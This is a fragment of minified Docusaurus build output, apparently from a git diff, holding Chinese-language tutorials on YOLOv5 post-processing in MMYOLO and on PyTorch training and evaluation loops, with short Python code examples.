False"}),"\n",(0,r.jsxs)(e.ol,{start:"2",children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"score_thr \u548c nms_thr"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"score_thr \u9608\u503c\u7528\u4e8e\u8fc7\u6ee4\u7c7b\u522b\u5206\u503c\uff0c\u4f4e\u4e8e\u5206\u503c\u7684\u68c0\u6d4b\u6846\u5f53\u505a\u80cc\u666f\u5904\u7406\uff0cnms_thr \u662f nms \u65f6\u9608\u503c\u3002\u540c\u6837\u7684\uff0c\u5728\u8ba1\u7b97\u8bc4\u4f30\u6307\u6807 mAP \u9636\u6bb5\u53ef\u4ee5\u5c06 score_thr \u8bbe\u7f6e\u7684\u975e\u5e38\u4f4e\uff0c\u8fd9\u901a\u5e38\u80fd\u591f\u63d0\u9ad8\u53ec\u56de\u7387\uff0c\u4ece\u800c\u63d0\u5347 mAP\uff0c\u4f46\u662f\u5bf9\u4e8e\u5b9e\u9645\u5e94\u7528\u6765\u8bf4\u6ca1\u6709\u610f\u4e49\uff0c\u4e14\u4f1a\u5bfc\u81f4\u63a8\u7406\u8fc7\u7a0b\u6781\u6162\u3002\u4e3a\u6b64\u5728\u6d4b\u8bd5\u548c\u63a8\u7406\u9636\u6bb5\u4f1a\u8bbe\u7f6e\u4e0d\u540c\u7684\u9608\u503c"}),"\n",(0,r.jsxs)(e.ol,{start:"3",children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"nms_pre \u548c max_per_img"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"nms_pre \u8868\u793a nms \u524d\u7684\u6700\u5927\u4fdd\u7559\u68c0\u6d4b\u6846\u6570\u76ee\uff0c\u8fd9\u901a\u5e38\u662f\u4e3a\u4e86\u9632\u6b62 nms \u8fd0\u884c\u65f6\u5019\u8f93\u5165\u6846\u8fc7\u591a\u5bfc\u81f4\u901f\u5ea6\u8fc7\u6162\u95ee\u9898\uff0c\u9ed8\u8ba4\u503c\u662f 30000\u3002\nmax_per_img \u8868\u793a\u6700\u7ec8\u4fdd\u7559\u7684\u6700\u5927\u68c0\u6d4b\u6846\u6570\u76ee\uff0c\u901a\u5e38\u8bbe\u7f6e\u4e3a 300\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5 COCO 80 \u7c7b\u4e3a\u4f8b\uff0c\u5047\u8bbe\u8f93\u5165\u56fe\u7247\u5927\u5c0f\u4e3a 640x640"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/17425982/192942249-96b0fcfb-059f-48fe-862f-7d526a3a06d7.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(1) \u7ef4\u5ea6\u53d8\u6362"})}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u8f93\u51fa\u7279\u5f81\u56fe\u5c3a\u5ea6\u4e3a 80x80\u300140x40 \u548c 20x20 \u7684\u4e09\u4e2a\u7279\u5f81\u56fe\uff0c\u6bcf\u4e2a\u4f4d\u7f6e\u5171 3 \u4e2a anchor\uff0c\u56e0\u6b64\u8f93\u51fa\u7279\u5f81\u56fe\u901a\u9053\u4e3a 3x(5+80)=255\u3002\nYOLOv5 \u662f\u975e\u89e3\u8026\u8f93\u51fa\u5934\uff0c\u800c\u5176\u4ed6\u5927\u90e8\u5206\u7b97\u6cd5\u90fd\u662f\u89e3\u8026\u8f93\u51fa\u5934\uff0c\u4e3a\u4e86\u7edf\u4e00\u540e\u5904\u7406\u903b\u8f91\uff0c\u6211\u4eec\u63d0\u524d\u5c06\u5176\u8fdb\u884c\u89e3\u8026\uff0c\u5206\u6210\u4e86\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5c06\u4e09\u4e2a\u4e0d\u540c\u5c3a\u5ea6\u7684\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u8fdb\u884c\u62fc\u63a5\uff0c\u5e76\u8fdb\u884c\u7ef4\u5ea6\u53d8\u6362\u3002\u4e3a\u4e86\u540e\u7eed\u65b9\u4fbf\u5904\u7406\uff0c\u4f1a\u5c06\u539f\u5148\u7684\u901a\u9053\u7ef4\u5ea6\u7f6e\u6362\u5230\u6700\u540e\uff0c\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u7684 shape \u5206\u522b\u4e3a (b, 3x80x80+3x40x40+3x20x20, 80)=(b,25200,80)\uff0c(b,25200,4)\uff0c(b,25200,1)\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2) \u89e3\u7801\u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6"})}),"\n",(0,r.jsx)(e.p,{children:"\u5206\u7c7b\u9884\u6d4b\u5206\u652f\u548c obj \u5206\u652f\u9700\u8981\u8fdb\u884c sigmoid \u8ba1\u7b97\uff0c\u800c bbox \u9884\u6d4b\u5206\u652f\u9700\u8981\u8fdb\u884c\u89e3\u7801\uff0c\u8fd8\u539f\u4e3a\u771f\u5b9e\u7684\u539f\u56fe\u89e3\u7801\u540e xyxy \u683c\u5f0f"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(3) \u7b2c\u4e00\u6b21\u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,r.jsx)(e.p,{children:"\u904d\u5386 batch \u4e2d\u7684\u6bcf\u5f20\u56fe\uff0c\u7136\u540e\u7528 score_thr \u5bf9\u7c7b\u522b\u9884\u6d4b\u5206\u503c\u8fdb\u884c\u9608\u503c\u8fc7\u6ee4\uff0c\u53bb\u6389\u4f4e\u4e8e score_thr \u7684\u9884\u6d4b\u7ed3\u679c"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(4) \u7b2c\u4e8c\u6b21\u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06 obj \u9884\u6d4b\u5206\u503c\u548c\u8fc7\u6ee4\u540e\u7684\u7c7b\u522b\u9884\u6d4b\u5206\u503c\u76f8\u4e58\uff0c\u7136\u540e\u4f9d\u7136\u91c7\u7528 score_thr \u8fdb\u884c\u9608\u503c\u8fc7\u6ee4\u3002\n\u5728\u8fd9\u8fc7\u7a0b\u4e2d\u8fd8\u9700\u8981\u8003\u8651 ",(0,r.jsx)(e.strong,{children:"multi_label \u548c nms_pre\uff0c\u786e\u4fdd\u8fc7\u6ee4\u540e\u7684\u68c0\u6d4b\u6846\u6570\u76ee\u4e0d\u4f1a\u591a\u4e8e nms_pre"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(5) \u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6\u548c nms"})}),"\n",(0,r.jsxs)(e.p,{children:["\u57fa\u4e8e\u524d\u5904\u7406\u8fc7\u7a0b\uff0c\u5c06\u5269\u4e0b\u7684\u68c0\u6d4b\u6846\u8fd8\u539f\u5230\u7f51\u7edc\u8f93\u51fa\u524d\u7684\u539f\u56fe\u5c3a\u5ea6\uff0c\u7136\u540e\u8fdb\u884c nms \u5373\u53ef\u3002\u6700\u7ec8\u8f93\u51fa\u7684\u68c0\u6d4b\u6846\u4e0d\u80fd\u591a\u4e8e ",(0,r.jsx)(e.strong,{children:"max_per_img"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"162-batch-shape-\u7b56\u7565",children:"1.6.2 batch shape \u7b56\u7565"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3a\u4e86\u52a0\u901f\u9a8c\u8bc1\u96c6\u7684\u63a8\u7406\u8fc7\u7a0b\uff0c\u4f5c\u8005\u63d0\u51fa\u4e86 batch shape \u7b56\u7565\uff0c\u5176\u6838\u5fc3\u539f\u5219\u662f\uff1a",(0,r.jsx)(e.strong,{children:"\u786e\u4fdd\u5728 batch \u63a8\u7406\u8fc7\u7a0b\u4e2d\u540c\u4e00\u4e2a batch \u5185\u7684\u56fe\u7247 pad \u50cf\u7d20\u6700\u5c11\uff0c\u4e0d\u8981\u6c42\u6574\u4e2a\u9a8c\u8bc1\u8fc7\u7a0b\u4e2d\u6240\u6709 batch \u7684\u56fe\u7247\u5c3a\u5ea6\u4e00\u6837"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u5927\u6982\u6d41\u7a0b\u662f\uff1a\u5c06\u6574\u4e2a\u6d4b\u8bd5\u6216\u8005\u9a8c\u8bc1\u6570\u636e\u7684\u5bbd\u9ad8\u6bd4\u8fdb\u884c\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u636e batch \u8bbe\u7f6e\u5c06\u6392\u5e8f\u540e\u7684\u56fe\u7247\u7ec4\u6210\u4e00\u4e2a batch\uff0c\n\u540c\u65f6\u8ba1\u7b97\u8fd9\u4e2a batch \u5185\u6700\u4f73\u7684 batch shape\uff0c\u9632\u6b62 pad \u50cf\u7d20\u8fc7\u591a\u3002\u6700\u4f73 batch shape \u8ba1\u7b97\u539f\u5219\u4e3a\u5728\u4fdd\u6301\u5bbd\u9ad8\u6bd4\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c pad\uff0c\u4e0d\u8ffd\u6c42\u6b63\u65b9\u5f62\u56fe\u7247\u8f93\u51fa\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:" image_shapes = []\n for data_info in data_list:\n image_shapes.append((data_info['width'], data_info['height']))\n\n image_shapes = np.array(image_shapes, dtype=np.float64)\n\n n = len(image_shapes) # number of images\n batch_index = np.floor(np.arange(n) / self.batch_size).astype(\n np.int) # batch index\n number_of_batches = batch_index[-1] + 1 # number of batches\n\n aspect_ratio = image_shapes[:, 1] / image_shapes[:, 0] # aspect ratio\n irect = aspect_ratio.argsort()\n\n data_list = [data_list[i] for i in irect]\n\n aspect_ratio = aspect_ratio[irect]\n # Set training image shapes\n shapes = [[1, 1]] * number_of_batches\n for i in range(number_of_batches):\n aspect_ratio_index = aspect_ratio[batch_index == i]\n min_index, max_index = aspect_ratio_index.min(\n ), aspect_ratio_index.max()\n if max_index < 1:\n shapes[i] = [max_index, 1]\n elif min_index > 1:\n shapes[i] = [1, 1 / min_index]\n\n batch_shapes = np.ceil(\n np.array(shapes) * self.img_size / self.size_divisor +\n self.pad).astype(np.int) * self.size_divisor\n\n for i, data_info in enumerate(data_list):\n data_info['batch_shape'] = batch_shapes[batch_index[i]]\n"})}),"\n",(0,r.jsx)(e.h2,{id:"2-\u603b\u7ed3",children:"2 \u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u5bf9 YOLOv5 \u539f\u7406\u548c\u5728 MMYOLO \u5b9e\u73b0\u8fdb\u884c\u4e86\u8be6\u7ec6\u89e3\u6790\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u7528\u6237\u7406\u89e3\u7b97\u6cd5\u5b9e\u73b0\u8fc7\u7a0b\u3002\u540c\u65f6\u8bf7\u6ce8\u610f\uff1a\u7531\u4e8e YOLOv5 \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u66f4\u65b0\uff0c\u672c\u5f00\u6e90\u5e93\u4e5f\u4f1a\u4e0d\u65ad\u8fed\u4ee3\uff0c\u8bf7\u53ca\u65f6\u9605\u8bfb\u548c\u540c\u6b65\u6700\u65b0\u7248\u672c\u3002"})]})}function o(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/assets/js/9ed64afb.e2496718.js b/assets/js/9ed64afb.e2496718.js new file mode 100644 index 0000000..04ef8ce --- /dev/null +++ b/assets/js/9ed64afb.e2496718.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9598],{28453:(e,n,l)=>{l.d(n,{R:()=>a,x:()=>i});var t=l(96540);const s={},r=t.createContext(s);function a(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:a(e.components),t.createElement(r.Provider,{value:n},e.children)}},51849:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>c});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.6 \u635f\u5931\u51fd\u6570.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"},"next":{"title":"3.8 \u53ef\u89c6\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"}}');var s=l(74848),r=l(28453);const a={},i="3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md",d={},c=[];function o(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"37-\u8bad\u7ec3\u4e0e\u8bc4\u4f30md",children:"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"37-\u8bad\u7ec3\u548c\u8bc4\u4f30",children:"3.7 \u8bad\u7ec3\u548c\u8bc4\u4f30"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5728\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u8bad\u7ec3\u540e\uff0c\u9700\u8981\u5728\u6d4b\u8bd5\u96c6/\u9a8c\u8bc1\u96c6\u4e0a\u5b8c\u6210\u6a21\u578b\u7684\u9a8c\u8bc1\uff0c\u4ee5\u786e\u4fdd\u6211\u4eec\u7684\u6a21\u578b\u5177\u6709\u6cdb\u5316\u80fd\u529b\u3001\u4e0d\u4f1a\u51fa\u73b0\u8fc7\u62df\u5408\u7b49\u95ee\u9898\u3002\u5728PyTorch\u4e2d\uff0c\u8bad\u7ec3\u548c\u8bc4\u4f30\u7684\u6d41\u7a0b\u662f\u4e00\u81f4\u7684\uff0c\u53ea\u662f\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u9700\u8981\u5c06\u6a21\u578b\u7684\u53c2\u6570\u8fdb\u884c\u66f4\u65b0\uff0c\u800c\u5728\u8bc4\u4f30\u8fc7\u7a0b\u4e2d\u5219\u4e0d\u9700\u8981\u66f4\u65b0\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"PyTorch\u7684\u8bad\u7ec3/\u8bc4\u4f30\u6a21\u5f0f\u7684\u5f00\u542f"}),"\n",(0,s.jsx)(n.li,{children:"\u5b8c\u6574\u7684\u8bad\u7ec3/\u8bc4\u4f30\u6d41\u7a0b"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b8c\u6210\u4e86\u4e0a\u8ff0\u8bbe\u5b9a\u540e\u5c31\u53ef\u4ee5\u52a0\u8f7d\u6570\u636e\u5f00\u59cb\u8bad\u7ec3\u6a21\u578b\u4e86\u3002\u9996\u5148\u5e94\u8be5\u8bbe\u7f6e\u6a21\u578b\u7684\u72b6\u6001\uff1a\u5982\u679c\u662f\u8bad\u7ec3\u72b6\u6001\uff0c\u90a3\u4e48\u6a21\u578b\u7684\u53c2\u6570\u5e94\u8be5\u652f\u6301\u53cd\u5411\u4f20\u64ad\u7684\u4fee\u6539\uff1b\u5982\u679c\u662f\u9a8c\u8bc1/\u6d4b\u8bd5\u72b6\u6001\uff0c\u5219\u4e0d\u5e94\u8be5\u4fee\u6539\u6a21\u578b\u53c2\u6570\u3002\u5728PyTorch\u4e2d\uff0c\u6a21\u578b\u7684\u72b6\u6001\u8bbe\u7f6e\u975e\u5e38\u7b80\u4fbf\uff0c\u5982\u4e0b\u7684\u4e24\u4e2a\u64cd\u4f5c\u4e8c\u9009\u4e00\u5373\u53ef\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model.train() # \u8bad\u7ec3\u72b6\u6001\nmodel.eval() # \u9a8c\u8bc1/\u6d4b\u8bd5\u72b6\u6001\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u524d\u9762\u5728DataLoader\u6784\u5efa\u5b8c\u6210\u540e\u4ecb\u7ecd\u4e86\u5982\u4f55\u4ece\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u7c7b\u4f3c\u7684\u64cd\u4f5c\u5373\u53ef\uff0c\u533a\u522b\u5728\u4e8e\u6b64\u65f6\u8981\u7528for\u5faa\u73af\u8bfb\u53d6DataLoader\u4e2d\u7684\u5168\u90e8\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"for data, label in train_loader:\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5c06\u6570\u636e\u653e\u5230GPU\u4e0a\u7528\u4e8e\u540e\u7eed\u8ba1\u7b97\uff0c\u6b64\u5904\u4ee5.cuda()\u4e3a\u4f8b"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"data, label = data.cuda(), label.cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5f00\u59cb\u7528\u5f53\u524d\u6279\u6b21\u6570\u636e\u505a\u8bad\u7ec3\u65f6\uff0c\u5e94\u5f53\u5148\u5c06\u4f18\u5316\u5668\u7684\u68af\u5ea6\u7f6e\u96f6\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer.zero_grad()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5c06data\u9001\u5165\u6a21\u578b\u4e2d\u8bad\u7ec3\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"output = model(data)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6839\u636e\u9884\u5148\u5b9a\u4e49\u7684criterion\u8ba1\u7b97\u635f\u5931\u51fd\u6570\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"loss = criterion(output, label)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5c06loss\u53cd\u5411\u4f20\u64ad\u56de\u7f51\u7edc\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"loss.backward()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f7f\u7528\u4f18\u5316\u5668\u66f4\u65b0\u6a21\u578b\u53c2\u6570\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer.step()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u6837\u4e00\u4e2a\u8bad\u7ec3\u8fc7\u7a0b\u5c31\u5b8c\u6210\u4e86\uff0c\u540e\u7eed\u8fd8\u53ef\u4ee5\u8ba1\u7b97\u6a21\u578b\u51c6\u786e\u7387\u7b49\u6307\u6807\uff0c\u8fd9\u90e8\u5206\u4f1a\u5728\u4e0b\u4e00\u8282\u7684\u56fe\u50cf\u5206\u7c7b\u5b9e\u6218\u4e2d\u52a0\u4ee5\u4ecb\u7ecd\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u9a8c\u8bc1/\u6d4b\u8bd5\u7684\u6d41\u7a0b\u57fa\u672c\u4e0e\u8bad\u7ec3\u8fc7\u7a0b\u4e00\u81f4\uff0c\u4e0d\u540c\u70b9\u5728\u4e8e\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u9700\u8981\u9884\u5148\u8bbe\u7f6etorch.no_grad\uff0c\u4ee5\u53ca\u5c06model\u8c03\u81f3eval\u6a21\u5f0f"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u5c06\u4f18\u5316\u5668\u7684\u68af\u5ea6\u7f6e\u96f6"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u5c06loss\u53cd\u5411\u56de\u4f20\u5230\u7f51\u7edc"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u66f4\u65b0optimizer"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u4e00\u4e2a\u5b8c\u6574\u7684\u56fe\u50cf\u5206\u7c7b\u7684\u8bad\u7ec3\u8fc7\u7a0b\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def train(epoch):\n model.train()\n train_loss = 0\n for data, label in train_loader:\n data, label = data.cuda(), label.cuda()\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, label)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()*data.size(0)\n train_loss = train_loss/len(train_loader.dataset)\n\t\tprint('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, train_loss))\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684\uff0c\u4e00\u4e2a\u5b8c\u6574\u56fe\u50cf\u5206\u7c7b\u7684\u9a8c\u8bc1\u8fc7\u7a0b\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def val(epoch): \n model.eval()\n val_loss = 0\n with torch.no_grad():\n for data, label in val_loader:\n data, label = data.cuda(), label.cuda()\n output = model(data)\n preds = torch.argmax(output, 1)\n loss = criterion(output, label)\n val_loss += loss.item()*data.size(0)\n running_accu += torch.sum(preds == label.data)\n val_loss = val_loss/len(val_loader.dataset)\n print('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, val_loss))\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u4e8e\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528sklearn.metrics\u4e2d\u7684classification_report\u51fd\u6570\u6765\u8ba1\u7b97\u6a21\u578b\u7684\u51c6\u786e\u7387\u3001\u53ec\u56de\u7387\u3001F1\u503c\u7b49\u6307\u6807\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'from sklearn.metrics import classification_report\n"""\n\u5c06\u4e0b\u65b9\u4ee3\u7801\u7684labels\u548cpreds\u66ff\u6362\u4e3a\u6a21\u578b\u9884\u6d4b\u51fa\u6765\u7684\u6240\u6709label\u548cpreds\uff0c\ntarget_names\u66ff\u6362\u4e3a\u7c7b\u522b\u540d\u79f0\uff0c\n\u65e2\u53ef\u5f97\u5230\u6a21\u578b\u7684\u5206\u7c7b\u62a5\u544a\n"""\nprint(classification_report(labels.cpu(), preds.cpu(), target_names=class_names))\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(n.code,{children:"torcheval"}),"\u6216",(0,s.jsx)(n.code,{children:"torchmetric"}),"\u6765\u5bf9\u6a21\u578b\u8fdb\u884c\u8bc4\u4f30\u3002"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/a21edc31.9d9da11e.js b/assets/js/a21edc31.9d9da11e.js new file mode 100644 index 0000000..b3a3c7c --- /dev/null +++ b/assets/js/a21edc31.9d9da11e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2447],{20429:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 